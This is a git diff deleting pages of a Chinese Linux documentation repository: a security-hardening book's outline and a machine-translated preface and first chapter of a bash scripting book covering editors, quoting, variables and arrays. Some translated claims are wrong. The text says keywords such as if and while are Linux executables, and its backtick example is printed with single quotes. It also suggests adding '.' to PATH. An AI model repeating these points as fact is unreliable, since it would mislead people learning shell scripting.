在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/master-linux-sec-hard/SUMMARY.md b/docs/master-linux-sec-hard/SUMMARY.md deleted file mode 100644 index 0f3ebcd6..00000000 --- a/docs/master-linux-sec-hard/SUMMARY.md +++ /dev/null @@ -1,20 +0,0 @@ -+ [精通 Linux 安全和加固](README.md) -+ [零、前言](00.md) -+ [第一部分:建立安全的 Linux 系统](sec1.md) - + [一、在虚拟环境中运行 Linux](01.md) - + [二、保护用户帐户](02.md) - + [三、使用防火墙保护您的服务器——第 1 部分](03.md) - + [四、使用防火墙保护您的服务器——第 2 部分](04.md) - + [五、加密技术](05.md) - + [六、SSH 加固](06.md) -+ [第二部分:掌握文件和目录访问控制](sec2.md) - + [七、掌握自主访问控制](07.md) - + [八、访问控制列表和共享目录管理](08.md) -+ [第三部分:高级系统加固技术](sec3.md) - + [九、使用 SELinux 和 AppArmor 实现强制访问控制](09.md) - + [十、内核加固和进程隔离](10.md) - + [十一、扫描、审计和加固](11.md) - + [十二、日志记录和日志安全性](12.md) - + [十三、漏洞扫描和入侵检测](13.md) - + [十四、大忙人的安全提示和技巧](14.md) -+ [十五、答案](15.md) diff --git a/docs/master-linux-sec-hard/sec1.md b/docs/master-linux-sec-hard/sec1.md deleted file mode 100644 index 92b07121..00000000 --- a/docs/master-linux-sec-hard/sec1.md +++ /dev/null @@ -1,12 +0,0 @@ -# 第一部分:建立安全的 Linux 系统 - -在本节中,我们将使用 Ubuntu 和 CentOS 虚拟机建立一个实践实验室。Windows 用户将学习如何从 Windows 远程访问 Linux 机器。 - -本节包含以下章节: - -* [第 1 章](01.html),*在虚拟环境中运行 Linux* -* [第 2 章](02.html)*保护用户账户* -* [第 3 章](03.html)*用防火墙保护您的服务器-第 1 部分* -* [第 4 章](04.html)*用防火墙保护您的服务器-第 2 部分* -* [第五章](05.html)、*加密技术* -* [第六章](06.html)*SSH 加固* \ No newline at end of file diff --git a/docs/master-linux-sec-hard/sec2.md b/docs/master-linux-sec-hard/sec2.md deleted file mode 100644 index 050e39d3..00000000 --- a/docs/master-linux-sec-hard/sec2.md +++ /dev/null @@ -1,8 +0,0 @@ -# 第二部分:掌握文件和目录访问控制 - -本节将讨论通过设置适当的权限和所有权以及使用**扩展属性** ( **xattr** )来保护敏感文件和目录。通过**设置用户标识** ( **SUID** )和**设置组标识** ( **SGID** )避免安全相关问题。 - -本节包含以下章节: - -* [第七章](07.html)*掌握自主访问控制* -* [第八章](08.html)*访问控制列表和共享目录管理* \ No newline at end of file diff --git a/docs/master-linux-sec-hard/sec3.md b/docs/master-linux-sec-hard/sec3.md deleted file mode 100644 index ab256248..00000000 --- a/docs/master-linux-sec-hard/sec3.md +++ /dev/null @@ -1,12 +0,0 @@ -# 第三部分:高级系统加固技术 - -本节将教您如何使用**强制访问控制** ( **MAC** )、安全配置文件和进程隔离技术来加固 Linux 系统。使用审计和日志服务审计 Linux 系统。 - -本节包含以下章节: - -* [第 9 章](09.html)、*使用 SELinux 和 appamor*实施强制访问控制 -* [第 10 章](10.html)、*内核加固和进程隔离* -* [第 11 章](11.html)、*扫描、审计和加固* -* [第十二章](12.html)*日志记录和日志安全* -* [第十三章](13.html)、*漏洞扫描和入侵检测* -* [第 14 章](14.html)*大忙人的安全提示和技巧* \ No newline at end of file diff --git a/docs/master-linux-shell-script/00.md b/docs/master-linux-shell-script/00.md deleted file mode 100644 index 1cfefa7f..00000000 --- a/docs/master-linux-shell-script/00.md +++ /dev/null @@ -1,89 +0,0 @@ -# 零、前言 - -首先,您将了解 Linux shell 以及为什么我们选择 bash shell。 然后,您将学习如何编写一个简单的 bash 脚本以及如何使用 Linux 编辑器编辑您的 bash 脚本。 - -接下来,您将学习如何定义变量以及变量的可见性。 在这之后,您将学习如何将命令执行输出存储到一个变量中,这被称为命令替换。 此外,您还将学习如何使用 bash 选项和 Visual Studio code 调试代码。 您将了解如何通过使用 read 命令接受来自用户的输入,使您的 bash 脚本与用户交互。 然后,您将了解如何读取选项及其值(如果用户将它们传递给脚本)。 接下来,您将学习如何编写条件语句,如 if 语句以及如何使用 case 语句。 之后,您将学习如何使用 vim 和 Visual Studio code 创建代码片段。 对于重复的任务,您将看到如何编写 For 循环,如何迭代简单值,以及如何迭代目录内容。 此外,您还将学习如何编写嵌套循环。 与此同时,您将编写 while 和 until 循环。 然后,我们将继续讨论函数,即可重用的代码块。 您将学习如何编写函数以及如何使用它们。 在这之后,您将了解 Linux 中最好的工具之一,即流编辑器。 由于我们仍然在讨论文本处理,我们将介绍 AWK,它是您所见过的 Linux 中最好的文本处理工具之一。 - -在这之后,您将学习如何通过编写更好的正则表达式来增强您的文本处理技能。 最后,将介绍 Python 作为 bash 脚本的替代方案。 - -# 这本书是给谁的 - -本书的目标读者是想要编写更好的 shell 脚本来自动化工作的系统管理员和开发人员。 有编程经验者优先。 如果您没有任何 shell 脚本的背景知识,也没有问题,本书将从头开始讨论一切。 - -# 从这本书中得到最大的收获 - -我假设你有一点编程背景。 即使你没有编程背景,这本书也会从头开始。 - -您应该了解一些 Linux 基础知识,比如基本命令,如`ls`、`cd`和`which`。 - -# 下载示例代码文件 - -您可以从您的帐户[www.packtpub.com](http://www.packtpub.com)下载本书的示例代码文件。 如果您在其他地方购买了这本书,您可以访问[www.packtpub.com/support](http://www.packtpub.com/support)并注册,将文件直接通过电子邮件发送给您。 - -你可以按以下步骤下载代码文件: - -1. 登录或注册在[www.packtpub.com](http://www.packtpub.com/support)。 -2. 选择 SUPPORT 选项卡。 -3. 点击代码下载和勘误表。 -4. 在搜索框中输入书名,并按照屏幕上的说明操作。 - -下载文件后,请确保使用最新版本的解压或解压缩文件夹: - -* 解压缩的软件/ 7 - zip 窗口 -* Zipeg / iZip UnRarX Mac -* 7 - zip / PeaZip Linux - -该书的代码包也托管在 GitHub 上的[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition)。 如果代码有更新,它将在现有的 GitHub 存储库中更新。 - -我们还可以在**[https://github.com/PacktPublishing/](https://github.com/PacktPublishing/)**中找到丰富的图书和视频目录中的其他代码包。 检查出来! - -# 下载彩色图像 - -我们还提供了一个 PDF 文件,其中包含了本书中使用的屏幕截图/图表的彩色图像。 您可以从[https://www.packtpub.com/sites/default/files/downloads/MasteringLinuxShellScriptingSecondEdition_ColorImages.pdf](https://www.packtpub.com/sites/default/files/downloads/MasteringLinuxShellScriptingSecondEdition_ColorImages.pdf)下载。 - -# 约定使用 - -本书中使用了许多文本约定。 - -`CodeInText`:表示文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 url、用户输入和 Twitter 句柄。 下面是一个例子:“编辑您的脚本,以便它读起来像以下完整的代码块`$HOME/bin/hello2.sh`” - -一段代码设置如下: - -```sh -if [ $file_compression = "L" ] ; then -tar_opt=$tar_l -elif [ $file_compression = "M" ]; then -tar_opt=$tar_m -else -tar_opt=$tar_h -fi -``` - -任何命令行输入或输出都写如下: - -```sh -$ type ls -ls is aliased to 'ls --color=auto' -``` - -**粗体**:表示新词条、重要词汇或在屏幕上看到的词汇。 例如,菜单或对话框中的单词会像这样出现在文本中。 下面是一个例子:“另一个非常有用的功能是在 Preferences | Plugins 选项卡上找到的” - -Warnings or important notes appear like this. Tips and tricks appear like this. - -# 取得联系 - -我们欢迎读者的反馈。 - -**一般反馈**:发邮件`feedback@packtpub.com`,并在邮件主题中提及书名。 如果您对本书的任何方面有任何疑问,请发送电子邮件至`questions@packtpub.com`。 - -**Errata**:尽管我们已尽一切努力确保内容的准确性,但错误还是会发生。 如果您在这本书中发现了错误,请向我们报告,我们将不胜感激。 请访问[www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata),选择您的图书,点击勘误表提交链接,并输入详细信息。 - -**盗版**:如果您在互联网上发现我们作品的任何形式的非法拷贝,请提供我们的位置地址或网址。 请通过`copyright@packtpub.com`与我们联系,并提供相关材料的链接。 - -**如果你有兴趣成为一名作家**:如果你有一个你擅长的话题,并且你有兴趣写作或写一本书,请访问[authors.packtpub.com](http://authors.packtpub.com/)。 - -# 评论 - -请留下评论。 一旦你阅读和使用这本书,为什么不在你购买它的网站上留下评论? 潜在的读者可以看到并使用您的公正意见来做出购买决定,我们在 Packt 可以理解您对我们的产品的看法,我们的作者可以看到您对他们的书的反馈。 谢谢你! - -有关 Packt 的更多信息,请访问[packtpub.com](https://www.packtpub.com/)。 \ No newline at end of file diff --git a/docs/master-linux-shell-script/01.md b/docs/master-linux-shell-script/01.md deleted file mode 100644 index 902e332f..00000000 --- a/docs/master-linux-shell-script/01.md +++ /dev/null @@ -1,750 +0,0 @@ -# 一、使用 Bash 编写脚本的内容和原因 - -欢迎来到 bash 脚本编写的内容和原因。 在本章中,您将发现 Linux 中 shell 的类型以及我们选择 bash 的原因。 您将了解 bash 是什么,如何编写第一个 bash 脚本,以及如何运行它。 此外,您将看到如何配置 Linux 编辑器,例如 vim 和 nano,以便键入代码。 - -与其他脚本语言一样,变量是编码的基本块。 您将学习如何声明整数、字符串和数组等变量。 此外,您将了解如何导出这些变量并将它们的范围扩展到正在运行的流程之外。 - -最后,您将看到如何使用 Visual Studio code 可视化地调试代码。 - -本章将涵盖以下主题: - -* Linux shell 的类型 -* 什么是 bash 脚本? -* bash 命令层次结构 -* 为脚本编写准备文本编辑器 -* 创建和执行脚本 -* 声明变量 -* 变量作用域 -* 命令替换 -* 调试脚本 - -# 技术要求 - -您需要一个正在运行的 Linux 机器。 使用哪个发行版并不重要,因为现在所有 Linux 发行版都附带 bash shell。 - -下载并安装 Visual Studio Code,它是微软免费提供的。 您可以从这里下载:[https://code.visualstudio.com/](https://code.visualstudio.com/)。 - -你可以使用 VS Code 作为编辑器,而不是 vim 和 nano; 由你决定。 - -我们更喜欢使用 VS Code,因为它有很多特性,比如代码自动完成、调试等等。 - -安装`bashdb`,这是 bash 调试插件所需的包。 如果你正在使用基于 Red hat 的发行版,你可以这样安装: - -```sh -$ sudo yum install bashdb -``` - -如果你使用的是基于 debian 的发行版,你可以这样安装: - -```sh -$ sudo apt-get install bashdb -``` - -安装 VS Code 插件,名为 bash debug,从[https://marketplace.visualstudio.com/items?itemName=rogalmic.bash-debug](https://marketplace.visualstudio.com/items?itemName=rogalmic.bash-debug)。 这个插件将用于调试 bash 脚本。 - -本章的源代码可在此下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter01](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter01) - -# Linux shell 的类型 - -如您所知,Linux 由一些主要部分组成,例如内核、shell 和 GUI 界面(Gnome、KDE 等)。 - -shell 翻译您的命令并将它们发送给系统。 大多数 Linux 发行版都附带许多 shell。 - -每个 shell 都有自己的特性,其中一些在今天的开发人员中非常流行。 以下是一些受欢迎的例子: - -* **Sh shell**:这被称为 Bourne shell,这是在 70 年代由一个叫 Stephen Bourne 的家伙在 at&T 实验室开发的。 这个 shell 提供了许多特性。 -* **Bash shell**:也称为 Bourne shell,这是非常流行的,并且与 sh shell 脚本兼容,所以您可以运行您的 sh 脚本而不需要更改它们。 我们将在这本书中使用这个壳。 -* **Ksh shell**:也称为 Korn shell,与 sh 和 bash 兼容。 Ksh 提供了一些对 Bourne shell 的增强。 -* **Csh 和 tcsh**:Linux 是用 C 语言构建的,这促使伯克利大学的开发人员开发了一个 C 风格的 shell,其语法类似于 C 语言。 Tcsh 对 csh 增加了一些微小的增强。 - -现在我们知道 shell 的类型,也知道我们将使用 bash,那么什么是 bash 脚本呢? - -# 什么是 bash 脚本? - -bash 脚本的基本思想是执行多个命令来自动化特定的作业。 - -正如你可能知道的,你可以通过用分号(`;`)分隔从 shell 中运行多个命令: - -```sh -ls ; pwd -``` - -前一行是一个迷你 bash 脚本。 - -运行第一个命令,然后运行第二个命令的结果。 - -您在 bash 脚本中键入的每个关键字实际上都是一个 Linux 二进制(程序),甚至是`if`语句、`else`或`while`循环。 它们都是 Linux 可执行文件。 - -可以说 shell 是将这些命令绑定在一起的粘合剂。 - -# bash 命令层次结构 - -在使用 bash shell 时,当您舒适地坐在提示符前急切地等待输入命令时,您很可能会认为,这只是键入*回车*键的简单问题。 你应该知道不要这样想,因为事情从来都不像我们想象的那么简单。 - -# 命令类型 - -例如,如果我们输入`ls`来列出文件,就可以认为我们正在运行这个命令。 这是有可能的,但我们经常使用化名。 别名存在于内存中,作为命令或带有选项的命令的快捷方式; 在我们检查文件之前就使用了这些别名。 Bash 的内置`type`命令可以在这里帮助我们。 `type`命令将显示在命令行输入的给定单词的命令类型。 命令的类型如下: - -* 别名 -* 函数 -* Shell 的内置 -* 关键字 -* 文件 - -这个列表也代表了搜索它们的顺序。 正如我们所看到的,直到最后才搜索可执行文件`ls`。 - -下面的命令演示了简单使用类型: - -```sh -$ type ls -ls is aliased to 'ls --color=auto' -``` - -我们可以进一步扩展,以显示给定命令的所有匹配: - -```sh -$ type -a ls -ls is aliased to 'ls --color=auto' -ls is /bin/ls -``` - -如果只需要输入输出,可以使用`-t`选项。 当我们需要在脚本中测试命令类型并且只需要返回类型时,这是很有用的。 这排除了多余的信息,从而使我们人类更容易阅读。 考虑以下命令和输出: - -```sh -$ type -t ls -alias -``` - -输出是清晰和简单的,这正是计算机或脚本所需要的。 - -内置的`type`也可用于识别 shell 关键字,如`if`和`case`。 下面的命令显示了对多个参数和类型使用`type`: - -```sh -$ type ls quote pwd do id -``` - -命令的输出如下截图所示: - -![](img/12fda344-022e-437f-9aaf-c4c200b294e0.png) - -您还可以看到,在使用`type`时遇到函数时,函数定义会被打印出来。 - -# 命令的路径 - -Linux 只在提供了程序的完整或相对路径时才会在`PATH`环境中检查可执行文件。 通常,除非当前目录在`PATH`中,否则不会搜索当前目录。 通过将目录添加到`PATH`变量中,可以将当前目录包含在`PATH`中。 如下命令示例所示: - -```sh -$ export PATH=$PATH:. -``` - -这会将当前目录追加到`PATH`变量的值; `PATH`中的每一项用冒号分隔。 现在,您的`PATH`已经被更新为包含当前工作目录,并且每次更改目录时,脚本都可以轻松执行。 一般来说,将脚本组织到一个结构化的目录层次结构中可能是个好主意。 考虑在主目录中创建一个名为`bin`的子目录,并将脚本添加到该文件夹中。 将`$HOME/bin`添加到`PATH`变量将使您能够根据名称查找脚本,而不需要文件路径。 - -下面的命令行列表将只创建目录,如果它不存在: - -```sh -$ test -d $HOME/bin || mkdir $HOME/bin -``` - -虽然前面的命令行列表不是严格必要的,但它确实表明 bash 中的脚本并不局限于实际的脚本,我们可以直接在命令行中使用条件语句和其他语法。 从我们的观点来看,无论您是否有`bin`目录,前面的命令都将工作。 使用`$HOME`变量可以确保该命令在不考虑当前文件系统上下文的情况下工作。 - -在阅读本书的过程中,我们将把脚本添加到`$HOME/bin`目录中,以便不管工作目录是什么,都可以执行脚本。 - -# 为脚本编写准备文本编辑器 - -在本书中,我们将致力于 Linux Mint,这将包括脚本的创建和编辑。 当然,您可以选择您希望编辑脚本的方式,也可以使用图形化编辑器,因此我们将在 gedit 中显示一些设置。 在本章中,我们将对一个 Red Hat 系统进行一次访问,以显示 gedit 的屏幕截图。 - -此外,我们将使用 Visual Studio Code 作为现代 GUI 编辑器来编辑和调试我们的脚本。 - -为了使命令行编辑器更容易使用,我们可以启用选项,并且可以通过隐藏的配置文件持续使用这些选项。 Gedit 和其他 GUI 编辑器及其菜单将提供类似的功能。 - -# 配置 vim - -编辑命令行通常是必须的,并且是开发人员日常生活的一部分。 在编辑器中设置通用选项使工作变得更简单,从而提供我们所需的可靠性和一致性,这有点像脚本本身。 我们将在 vi 或 vim 编辑器文件`$HOME/.vimrc`中设置一些有用的选项。 - -我们设置的选项如下表所示: - -* `set showmode`:确保当我们处于插入模式时可以看到 -* `set nohlsearch`:不突出显示搜索过的单词 -* `set autoindent`:我们经常缩进代码; 这允许我们返回到最后一个缩进级别,而不是每个换行符的新行开始 -* `set tabstop=4`:将制表符设置为四个空格 -* `set expandtab`:将制表符转换为空格,这在文件迁移到其他系统时很有用 -* `syntax on`:注意,这并不使用`set`命令,而是用于打开语法高亮显示 - -当设置了这些选项后,`$HOME/.vimrc`文件应该如下所示: - -```sh -set showmode -set nohlsearch -set autoindent -set tabstop=4 -set expandtab -syntax on -``` - -# 配置纳米 - -纳米文本编辑器越来越重要,它是许多系统的默认编辑器。 就我个人而言,我不喜欢它的导航功能,也不喜欢它缺少导航功能。 可以使用与 vim 相同的方式定制它。 这一次,我们将编辑`$HOME/.nanorc`文件。 你编辑的文件应该如下所示: - -```sh -set autoindent -set tabsize 4 -include /usr/share/nano/sh.nanorc -``` - -最后一行启用 shell 脚本的语法高亮显示。 - -# 配置中 - -图形化编辑器,例如 gedit,可以使用首选项菜单来配置,而且非常简单。 - -启用 tab 间距设置为 4 个空格和扩展 tab 到空格可以使用 Preferences | Editor 选项卡完成,如下图所示: - -![](img/3528cb30-2bce-4f89-b1bb-f35137789872.png) - -You can download the example code files from your account at [http://www.packtpub.com](http://www.packtpub.com) for all the Packt Publishing books you have purchased. If you purchased this book elsewhere, you can visit [http://www.packtpub.com/support](http://www.packtpub.com/support) and register to have the files e-mailed directly to you. - -另一个非常有用的特性是在 Preferences | Plugins 选项卡上。 这里,我们可以启用 Snippets 插件,它可以用于插入代码示例。 如下截图所示: - -![](img/a0a634a5-2b76-4d00-8bf2-4e2fb0b1ec56.png) - -在本书的其余部分中,我们将学习命令行和 vim; 请随意使用与您工作得最好的编辑器。 我们现在已经为创建好的脚本奠定了基础,而且,尽管在 bash 脚本中空格、制表符和空格并不重要,但是具有一致空格的布局良好的文件很容易阅读。 当我们在本书后面讨论 Python 时,您会意识到在某些语言中,空格对语言来说是很重要的,最好及早养成良好的习惯。 - -# 创建和执行脚本 - -编辑器已经准备就绪,现在可以快速地创建和执行脚本了。 如果你读这本书之前有一些经验,我们会警告你,我们将从基础开始,但我们也会包括位置参数; 你可以按照自己的节奏继续前进。 - -# 你好世界! - -如您所知,几乎必须从一个`Hello World`脚本开始,我们不会让您失望。 我们将首先创建一个新脚本`$HOME/bin/hello1.sh`。 该文件的内容应如下截图所示: - -![](img/e3d20671-aca4-40f8-9218-ab2bc5ee82cd.png) - -我们希望你没有在这方面做太多的挣扎; 毕竟只有三行。 我们鼓励您在阅读时浏览示例,以真正帮助您灌输良好的动手实践信息。 - -* `#!/bin/bash`:通常,这总是脚本的第一行,被称为 shebang。 shebang 以注释开始,但是系统仍然使用这一行。 shell 脚本中的注释有`#`符号。 shebang 指示系统的解释器执行脚本。 我们使用 bash 作为 shell 脚本,我们也可以根据需要使用 PHP 或 Perl 作为其他脚本。 如果我们没有添加这一行,那么命令将在当前 shell 中运行; 如果我们运行另一个 shell,可能会导致问题。 -* `echo "Hello World"`:`echo`命令将在内置 shell 中拾取,可以用来编写标准输出`STDOUT`; 这是屏幕的默认设置。 要列印的资料以双引号括起; 后面会有更多的报价。 -* `exit 0`:`exit`命令为内置 shell,用于退出脚本。 代码作为整型参数提供。 除`0`以外的任何值都将表明脚本执行中存在某种类型的错误。 - -# 执行脚本 - -虽然脚本保存在我们的`PATH`环境中,但它仍然不会作为独立的脚本执行。 我们必须根据需要为文件分配和执行权限。 对于一个简单的测试,我们可以直接使用 bash 运行该文件。 下面的命令显示了如何做到这一点: - -```sh -$ bash $HOME/bin/hello1.sh -``` - -我们应该得到屏幕上显示的`Hello World`文本的奖励。 这不是一个长期的解决方案,因为我们需要将脚本放在`$HOME/bin`目录中,具体来说,是为了在不输入完整路径的情况下方便地从任何位置运行脚本。 我们需要添加执行权限,如下代码所示: - -```sh -$ chmod +x $HOME/bin/hello1.sh -``` - -我们现在应该能够简单地运行脚本,如下面的截图所示: - -![](img/c5577185-d395-4690-b989-b6a37d813110.png) - -# 检查退出状态 - -这个脚本很简单,但是我们仍然需要知道如何使用脚本和其他应用的退出码。 前面创建`$HOME/bin`目录时生成的命令行列表是一个很好的例子,说明了如何使用退出代码: - -```sh -$ command1 || command 2 -``` - -在上面的例子中,只有当`command1`以某种方式失败时,才执行`command2`。 具体来说,如果`command1`以`0`以外的状态码退出,则`command2`将运行。 - -类似地,在下面的摘录中,我们将只在`command1`成功并发出`0`退出码时执行`command2`: - -```sh -$ command1 && command2 -``` - -为了显式地从脚本中读取退出代码,我们可以查看变量`$?`,如下例所示: - -```sh -$ hello1.sh -$ echo $? -``` - -预期的输出是`0`,因为这是我们添加到文件的最后一行的内容,几乎没有其他错误可能导致无法到达该行。 - -# 确保唯一的名称 - -现在我们可以创建并执行一个简单的脚本,但是我们需要稍微考虑一下名称。 在这种情况下,`hello1.sh`就足够好了,而且不太可能与系统上的任何其他内容发生冲突。 我们应该避免使用可能与现有别名、函数、关键字和构建命令冲突的名称,并避免使用已经使用的程序名称。 - -向文件添加`sh`后缀并不能保证名称是唯一的,但是,在 Linux 中,我们不使用文件扩展名,后缀是文件名的一部分。 这可以帮助您为脚本提供一个独特的身份。 此外,编辑器使用后缀来帮助您识别用于语法高亮显示的文件。 如果您还记得,我们特意将语法突出显示文件`sh.nanorc`添加到 nano 文本编辑器中。 这些文件中的每一个都特定于一个后缀和随后的语言。 - -回顾本章中的命令层次结构,我们可以使用`type`来确定文件`hello.sh`的位置和类型: - -```sh -$ type hello1.sh #To determine the type and path -$ type -a hello1.sh #To print all commands found if the name is NOT unique -$ type -t hello1.sh ~To print the simple type of the command -``` - -下面的截图显示了这些命令和输出: - -![](img/62a86b69-105e-4e05-af8b-0c4ba91d7224.png) - -# 你好,多莉! - -在脚本中,我们可能需要更多的内容,而不是简单的固定消息。 静态消息内容确实有它的位置,但是我们可以通过构建一些灵活性来使这个脚本更有用。 - -在本章中,我们将看看可以提供给脚本的位置参数或参数,在下一章中,我们将看到如何使脚本具有交互性,并在运行时提示用户输入。 - -# 运行带参数的脚本 - -我们可以带参数运行脚本; 毕竟,这是一个自由的世界,Linux 促进了您对代码做任何您想做的事情的自由。 但是,如果脚本没有使用这些参数,那么它们将被忽略。 下面的命令显示了使用单个参数运行的脚本: - -```sh -$ hello1.sh fred -``` - -脚本仍然会运行,不会产生错误。 输出也不会改变,将打印`Hello World`: - -| **参数标识** | **描述** | -| `$0` | 脚本本身的名称,经常在 usage 语句中使用。 | -| `$1` | 一个位置参数,这是传递给脚本的第一个参数。 | -| `${10}` | 需要两个或更多的数字来表示参数的位置。 大括号用于将变量名与任何其他内容分隔开。 预期为个位数。 | -| `$#` | 当我们需要设置正确执行脚本所需的参数数量时,参数计数特别有用。 | -| `$*` | 引用所有参数。 | - -为了让脚本使用这个参数,我们可以稍微改变它的内容。 让我们首先复制脚本,添加执行权限,然后编辑新的`hello2.sh`: - -```sh -$ cp $HOME/bin/hello1.sh $HOME/bin/hello2.sh -$ chmod +x $HOME/bin/hello2.sh -``` - -我们需要编辑`hello2.sh`文件来使用在命令行传递的参数。 下面的截图显示了命令行参数最简单的用法,现在允许我们有一个自定义消息: - -![](img/5ed6a81a-5951-4afa-a836-ca3d223476c1.png) - -现在运行脚本; 我们可以提供如下所示的参数: - -```sh -$ hello2.sh fred -``` - -输出现在应该是`Hello fred`。 如果不提供实参,则该变量将为空并只输出`Hello`。 你可以参考下面的截图来查看执行参数和输出: - -![](img/7bb5ff42-cddd-4513-a670-6e6b43423c75.png) - -如果我们将脚本调整为使用`$*`,将打印所有参数。 我们将看到`Hello`,然后是所有提供的参数的列表。 编辑脚本并替换`echo`行,如下所示: - -```sh -echo "Hello $*" -``` - -这将使用以下参数执行脚本: - -```sh -$ hello2.sh fred wilma betty barney -``` - -这将导致如下截图所示的输出: - -![](img/612e1eac-7009-47eb-ac8a-b7b86e308f8a.png) - -如果我们想打印`Hello `,并将每个名称放在单独的行中,我们需要等待一段时间,直到我们讨论循环结构。 `for`循环是实现这一点的好方法。 - -# 正确引用的重要性 - -到目前为止,我们使用了一个简单的双引号机制来封装希望使用 echo 的字符串。 - -在第一个脚本中,使用单引号还是双引号并不重要。 `echo "Hello World"`将与`echo 'Hello World'`完全相同。 - -但是,在第二个脚本中不是这样,因此理解 bash 中可用的引用机制非常重要。 - -正如我们所看到的,在`echo "Hello $1"`中使用双引号将得到`Hello fred`或任何提供的值。 而如果在`echo 'Hello $1'`中使用单引号,屏幕上的打印输出将为`Hello $1`; 也就是说,我们看到的是变量名,而不是它的值。 - -引号的作用是保护特殊字符,比如两个单词之间的空格; 这两句话都避免了被误解。 空格通常被读取为默认字段,由 shell 分隔。 换句话说,shell 将所有字符读取为没有特殊含义的文字。 这产生了连锁效应,即`$`符号打印其文字格式,而不允许 bash 扩展其值。 bash shell 无法扩展变量的值,因为它受到单引号的保护。 - -这就是双引号拯救我们的地方。 双引号将保护除`$`之外的所有字符,允许 bash 扩展存储的值。 - -如果需要在带引号的字符串中使用文字`$`以及需要展开的变量,我们可以使用双引号,但是用反斜杠(`\`)转义所需的`$`。 例如,如果当前用户是 Fred,则`echo "$USER earns \$4"`将打印为`Fred earns $4`。 - -在命令行中使用所有引用机制尝试下面的示例。 请随时按要求提高您的每小时费率: - -```sh -$ echo "$USER earns $4" -$ echo '$USER earns $4' -$ echo "$USER earns \$4" -``` - -输出如下截图所示: - -![](img/5ca3f282-07b0-4866-aeba-a8ae1f28b832.png) - -# 打印脚本名称 - -变量`$0`表示脚本名,这通常在 usage 语句中使用。 因为我们还没有研究条件语句,所以我们将在显示的名称上面打印脚本名称。 - -编辑你的脚本,使它读起来像以下完整的代码块`$HOME/bin/hello2.sh`: - -```sh -#!/bin/bash -echo "You are using $0" -echo "Hello $*" -exit 0 -``` - -命令的输出如下截图所示: - -![](img/225c3633-3e9e-42b9-8484-18d5832db6c3.png) - -如果不想打印路径,而只想显示脚本的名称,可以使用`basename`命令,该命令从路径中提取名称。 调整脚本,使第二行现在读如下: - -```sh -echo "You are using $(basename $0)" -``` - -`$(....)`语法用于计算内部命令的输出。 首先运行`basename $0`并将结果输入到由`$`表示的未命名变量中。 - -新的输出将出现如下截图所示: - -![](img/011b53df-581f-4da2-aef6-c6bb8916b43d.png) - -使用反引号可以达到相同的结果; 这不是很容易读懂,但是我们已经提到了这一点,因为您可能需要理解和修改其他人编写的脚本。 `$(....)`语法的替代方法如下例所示: - -```sh -echo "You are using 'basename $0'" -``` - -请注意使用的字符是反引号和*而不是*单引号。 在英国和美国的键盘上,这些是在左上角数字 1 旁边的键。 - -# 声明变量 - -就像在任何编程语言中一样,您可以在 bash 脚本中声明变量。 那么,这些变量是什么?使用它们的好处是什么? - -好的,变量就像一个占位符,您在其中存储一些值,以便稍后在代码中使用。 - -有两种变量你可以在你的脚本中声明: - -* 用户定义的变量 -* 环境变量 - -# 用户定义的变量 - -要声明一个变量,只需键入您想要的名称并使用等号(`=`)设置其值。 - -看看这个例子: - -```sh -#!/bin/bash -name="Mokhtar" -age=35 -total=16.5 -echo $name #prints Mokhtar -echo $age #prints 35 -echo $total #prints 16.5 -``` - -如您所见,要打印变量的值,应该在其前面使用美元符号(`$`)。 - -注意,变量名和等号之间,或者等号和值之间,没有**空格**。 - -如果忘记并在中间输入一个空格,shell 将把这个变量当作一个命令来处理,而且由于没有这样的命令,它将显示一个错误。 - -下面所有的例子都是不正确的声明: - -```sh -# Don't declare variables like this: -name = "Mokhtar" -age =35 -total= 16.5 -``` - -另一种有用的用户定义变量类型是数组。 一个数组可以包含多个值。 因此,如果您想要使用数十个值,您应该使用数组而不是用变量填充脚本。 - -要声明一个数组,只需将其元素括在括号中,就像这样: - -```sh -#!/bin/bash -myarr=(one two three four five) -``` - -要访问一个特定的数组元素,你可以像这样指定它的索引: - -```sh -#!/bin/bash -myarr=(one two three four five) -echo ${myarr[1]} #prints two which is the second element -``` - -索引是零基础的。 - -要打印数组元素,你可以使用星号,像这样: - -```sh -#!/bin/bash -myarr=(one two three four five) -echo ${myarr[*]} -``` - -要从数组中删除特定的元素,可以使用`unset`命令: - -```sh -#!/bin/bash -myarr=(one two three four five) -unset myarr[1] #This will remove the second element -unset myarr #This will remove all elements -``` - -# 环境变量 - -到目前为止,我们使用了没有定义的变量,如`$BASH_VERSION`、`$HOME`、`$PATH`和`$USER`。 你可能想知道,因为我们没有声明这些变量,它们是从哪里来的? - -这些变量由 shell 定义供您使用,它们被称为环境变量。 - -有许多环境变量。 如果您想列出它们,可以使用`printenv`命令。 - -另外,您可以通过在`printenv`命令中指定一个特定的环境变量来打印它: - -```sh -$ printenv HOME -``` - -我们可以在 bash 脚本中使用这些变量中的任何一个。 - -注意,所有环境变量都是用大写字母写的,所以可以用小写字母来声明变量,以便于将变量与环境变量区分开来。 这不是必需的,但更可取。 - -# 变量作用域 - -一旦声明了变量,就可以在整个 bash 脚本中毫无问题地使用它。 - -让我们假设这样一种情况:你把你的代码分成两个文件,你将从另一个文件中执行其中一个,像这样: - -```sh -# The first script -#!/bin/bash -name="Mokhtar" -./script2.sh # This will run the second script -``` - -第二个脚本是这样的: - -```sh -# The script2.sh script -#!/bin/bash -echo $name -``` - -假设您想在第二个脚本中使用`name`变量。 